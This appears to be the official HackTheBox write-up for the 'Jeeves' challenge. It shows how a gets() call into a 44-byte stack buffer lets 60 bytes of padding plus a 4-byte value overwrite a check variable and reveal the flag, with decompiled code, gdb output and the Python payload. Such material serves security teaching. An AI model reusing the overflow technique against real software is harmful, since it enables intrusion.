



HACKTHEBOX



Jeeves

7th October 2022 / Document No.
D22.102.231

Prepared By: w3th4nds

Challenge Author(s): MinatoTW

Difficulty: **Easy**

Classification: Official

Synopsis

Jeeves is an Easy challenge featuring a buffer overflow vulnerability, allowing the attacker to overwrite a variable placed on the stack, and consequently pass a check that gives them the flag.

Skills Required

- Basic debugging skills.

Skills Learned

- Leveraging buffer overflow vulnerabilities to overwrite stack variables.

Enumeration

Protections

First things first, we will be taking a look at the binary's protections with `checksec`:



```
checksec jeeves
```

```
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       PIE enabled
```

Running the binary:



```
Hello, good sir!  
May I have your name? w3th4nds  
Hello w3th4nds, hope you have a good day!
```

Seems simple enough. Let's take a look and see what we're working with.

Disassembly

Generated C code of `main()` looks like this:

```
undefined8 main(void)  
{  
    char local_48 [44];  
    int local_1c;  
    void *local_18;  
    int local_c;  
  
    local_c = -0x21523f2d;  
    printf("Hello, good sir!\nMay I have your name? ");  
    gets(local_48);  
    printf("Hello %s, hope you have a good day!\n", local_48);  
    if (local_c == 0x1337bab3) {  
        local_18 = malloc(0x100);  
        local_1c = open("flag.txt", 0);  
        read(local_1c, local_18, 0x100);  
        printf("Pleased to make your acquaintance. Here's a small gift:  
%s\n", local_18);  
        close(local_1c);  
    }  
    return 0;  
}
```

So, upon closer inspection, there is a little more to this than originally assumed from running the binary.

Firstly, an integer-type variable `local_c` is declared and then initialized with a value, `-0x21523f2d (= 0xdeadcd3)`.

Our input is being read into a 44-byte char buffer using `gets()`.

Then, the variable `local_c` is compared against the value `0x1337bab3`, and if the check passes, the user is given the flag.

Exploitation

The `gets()` function is almost always an **attack vector** when used in binary exploitation challenges,

since it **doesn't allow the programmer to limit the number of bytes read into the buffer!**

From the [man page](#) of `gets()`:

```
Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security.
```

So we have a `Buffer Overflow` vulnerability in our hands.

Overflowing a buffer placed on the stack can generally have 2 uses:

- Overwriting data/variables placed on the stack after the buffer
- Overwriting the `RIP` register's value, and controlling the program's flow

For most cases, the 2nd option is more powerful and the only way to get a flag or a shell.

Taking a second peek at the binary's protections, we can see that `PIE` is **ENABLED**.

This means we cannot jump to any arbitrary binary address, since they are all loaded at a semi-random offset in virtual memory.

So, there is no chance we can overwrite `RIP` with any useful address, given that we don't have a way of leaking the `PIE` base.

Since the `local_c` variable is placed after our buffer on the stack though, we can overwrite its value and pass the following check. This way we can get the flag.

The first step towards that goal would be **calculating the number of bytes that can be read into the buffer before the variable of interest starts to be overwritten**.

Open up `gdb`, and set a `breakpoint` after user data is read into the buffer:

```

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000000011e9 <+0>:      endbr64
   0x00000000000011ed <+4>:      push    rbp
   0x00000000000011ee <+5>:      mov     rbp, rsp
   0x00000000000011f1 <+8>:      sub     rsp, 0x40
   0x00000000000011f5 <+12>:     mov     DWORD PTR [rbp-0x4], 0xdeadcd3
   0x00000000000011fc <+19>:     lea     rdi, [rip+0xe05]      # 0x2008
   0x0000000000001203 <+26>:     mov     eax, 0x0
   0x0000000000001208 <+31>:     call    0x10a0 <printf@plt>
   0x000000000000120d <+36>:     lea     rax, [rbp-0x40]
   0x0000000000001211 <+40>:     mov     rdi, rax
   0x0000000000001214 <+43>:     mov     eax, 0x0
   0x0000000000001219 <+48>:     call    0x10d0 <gets@plt>
   0x000000000000121e <+53>:     lea     rax, [rbp-0x40]
   0x0000000000001222 <+57>:     mov     rsi, rax
   0x0000000000001225 <+60>:     lea     rdi, [rip+0xe04]      # 0x2030
   0x000000000000122c <+67>:     mov     eax, 0x0
   0x0000000000001231 <+72>:     call    0x10a0 <printf@plt>
   0x0000000000001236 <+77>:     cmp     DWORD PTR [rbp-0x4], 0x1337bab3
   0x000000000000123d <+84>:     jne     0x12a8 <main+191>
   0x000000000000123f <+86>:     mov     edi, 0x100
   0x0000000000001244 <+91>:     call    0x10e0 <malloc@plt>
   ...

pwndbg> b *main+77
Breakpoint 1 at 0x1236

```

As seen above, a breakpoint has been set on the `cmp` instruction at `main+77`.

That's the instruction where the `local_c` integer variable is being compared against the value `0x1337bab3`.

The variable is being referenced with `[rbp-0x4]`, and we can see its value is set to `0xdeadcd3` on `main+12`.

We will input 4 "A" characters and observe the stack when the breakpoint hits.

```

pwndbg> x/16gx $rbp-0x4-0x50
0x7fffffffde6c: 0x5555551e900007fff      0x5555552360000555
0x7fffffffde7c: 0x4141414100005555 <-- 0x0000000000000000
0x7fffffffde8c: 0x0000000000000000      0x0000000000000000
0x7fffffffde9c: 0x0000000000000000      0x0000000000000000
0x7fffffffdeac: 0x0000000000000000      0x0000000000000000
0x7fffffffdebc: 0x00000001deadcd3 <-- 0xf7dabd9000000000
0x7fffffffdecc: 0x00000000000007fff      0x5555551e90000000
0x7fffffffdedc: 0x0000000000005555      0xffffdfd800000001

```

There lies our buffer, and the value `0xdeadcd3` on the stack.

We can identify the buffer due to the value of `0x41414141` since `0x41` is the `ASCII code value` of the character "A".

So, with an input of 4 "A"s we get `0x41414141` **marking the start of the buffer**.

If we were to calculate the number of bytes from the beginning of the buffer to the start of the integer variable we are looking to overflow, we should count a total of `60` bytes.

The architecture is `64-bit little-endian`, so the byte order of the value we are trying to write needs to be **reversed**, like this:

`0x1337bab3 -> "\xb3\xba\x37\x13"` (we don't pad to 8 bytes with 0's, integers are 4 bytes long in 64-bit systems)

Putting it all together, we have `60 bytes` to reach the address of the `local_c` variable, and another `4` to overwrite it:

Python3:

```
payload = b'A' * 60 + b'\xb3\xba\x37\x13'
```

Solution

And there we have it, **PWNED!**



```
Hello, good sir!
May I have your name? Hello
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb3\xba7\x
13 hope you have a good day!
Pleased to make your acquaintance. Here's a small gift:
HTB{*****}
```